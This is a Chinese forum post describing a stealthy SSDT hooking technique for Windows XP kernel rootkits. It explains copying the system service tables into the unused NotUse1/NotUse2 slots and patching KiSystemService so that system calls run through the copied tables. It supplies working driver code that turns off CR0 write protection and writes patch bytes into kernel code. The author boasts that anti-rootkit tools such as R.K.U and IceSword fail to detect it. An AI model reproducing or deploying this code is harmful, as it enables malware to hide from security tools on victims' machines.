前天看到一篇同样标题的文章(我转载到其他地方也被BS),但后来被作者删了,我也来一篇共勉一下。

    SSDT HOOK是个很古老的话题了,基本上是ring0 rookit入门的第一课。我们先来重温一下系统服务表结构:
    

代码:
typedef struct _SERVICE_DESCRIPTOR_TABLE_SHADOW 
{
  SERVICE_DESCRIPTOR_TABLE  ntoskrnl;  //ntoskrnl.exe
  SERVICE_DESCRIPTOR_TABLE  win32k;    //win32k.sys 
  SERVICE_DESCRIPTOR_TABLE  NotUse1;   //未使用
  SERVICE_DESCRIPTOR_TABLE  NotUse2;   //未使用
}SERVICE_DESCRIPTOR_TABLE_SHADOW,*PSERVICE_DESCRIPTOR_TABLE_SHADOW;
     在KeServiceDescriptorTable中,只有ntoskrnl被使用,在KeServiceDescriptorTableShadow中,ntoskrnl及win32k都被使用,但如上,两个服务表都没有用到NotUse1、NotUse2,而且几乎所有SSDT HOOK检测工具都是检查前两项,当然了,绝少人会用到后两项。

       这里的思路是,复制ntoskrnl及win32k,将他们分别放到NotUse1及NotUse2,完了之后想办法让系统调用进入我们新建的NotUse1及NotUse2,这样我们修改复制后的表就可以实现SSDT HOOK,我们不需要对原表做任何修改,所以ARK工具也就检测不了了。

     上面思路一个难点就是让系统调用进入NotUse1及NotUse2而不是原来的ntoskrnl及win32k,很幸运,我在KiSystemService找到一个很好的地方如下:
代码:
inc     large dword ptr fs:638h //<--这里是用来纪录system calls的,没太大用处,可以替换掉
mov     esi, edx
mov     ebx, [edi+0Ch]          //<--edi保存的就是服务表中的ntoskrnl或者win32k
xor     ecx, ecx
mov     cl, [eax+ebx]
mov     edi, [edi]
mov     ebx, [edi+eax*4]
sub     esp, ecx
shr     ecx, 2
mov     edi, esp
cmp     esi, ds:_MmUserProbeAddress
//上面代码是XP系统的,其他windows系统也有类似代码
这里的做法是将指令 inc  large dword ptr fs:638h 改为 add edi,0x20,这样原先edi指向ntoskrnl或者win32k的就变成了指向NotUse1或者NotUse2,系统调用直接进入了我们的复制表。    
     测试结果,R.K.U、IceSword及我所用到的SSDT HOOK检测工具都检测不出。特别,上面花那么大力气修改inc  large dword ptr fs:638h指令就是避免了长跳转,使R.K.U无法发现代码已经被修改。
     
代码:
BOOLEAN
AddMyServiceTable(
          )
{

  if( !g_bIsMyServiceTableCreated ){
    DbgPrint( "AddMyServiceTable() Create Service table first !\n" );
    return FALSE;
  }


  __asm{
    cli
    mov  eax,cr0
    and  eax,not 10000h
    mov  cr0,eax
  }

  RtlCopyMemory( (PVOID)&KeServiceDescriptorTable->NotUse1,
               (PVOID)&mKeServiceDescriptorTable->ntoskrnl,
           sizeof(SERVICE_DESCRIPTOR_TABLE)*2 );

  RtlCopyMemory( (PVOID)&KeServiceDescriptorTableShadow->NotUse1,
               (PVOID)&mKeServiceDescriptorTableShadow->ntoskrnl,
           sizeof(SERVICE_DESCRIPTOR_TABLE)*2 );

  __asm{
    mov  eax,cr0
    or   eax,10000h
    mov  cr0,eax
    sti
  }

  return TRUE;
}
代码:
BOOLEAN 
HookSysCall(
  )
{
  //add edi,20h
  //nop ....
  //
  UCHAR cHackCode[] = { 0x83,0xC7,0x20,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90 };

  KIRQL  oldIrql;

  if( g_bIsHooked )
    return TRUE;

  if( !g_bAddressInited ){
    DbgPrint( "Syscall address not inited\n" );
    return FALSE;
  }

  if( KiSystemService_hack_code_size > sizeof( cHackCode ) ){
    return FALSE;
  }

  
  __asm{
    cli
    mov  eax,cr0
    and  eax,not 10000h
    mov  cr0,eax
  }


  RtlCopyMemory( g_pSysCallOrigCode,(PVOID)KiSystemService_hack_address,KiSystemService_hack_code_size );
  
  KeRaiseIrql( DISPATCH_LEVEL,&oldIrql );

  RtlCopyMemory( (PVOID)KiSystemService_hack_address,cHackCode,KiSystemService_hack_code_size );

  KeLowerIrql( oldIrql );

  __asm{
    mov  eax,cr0
    or   eax,10000h
    mov  cr0,eax
    sti
  }

  g_bIsHooked =  TRUE;

  return TRUE;
}
//----------------------------------------------------------------------------
发文之前,我没有google baidu有没有人发过相似的文章,如有雷同,我也       肯定不会删。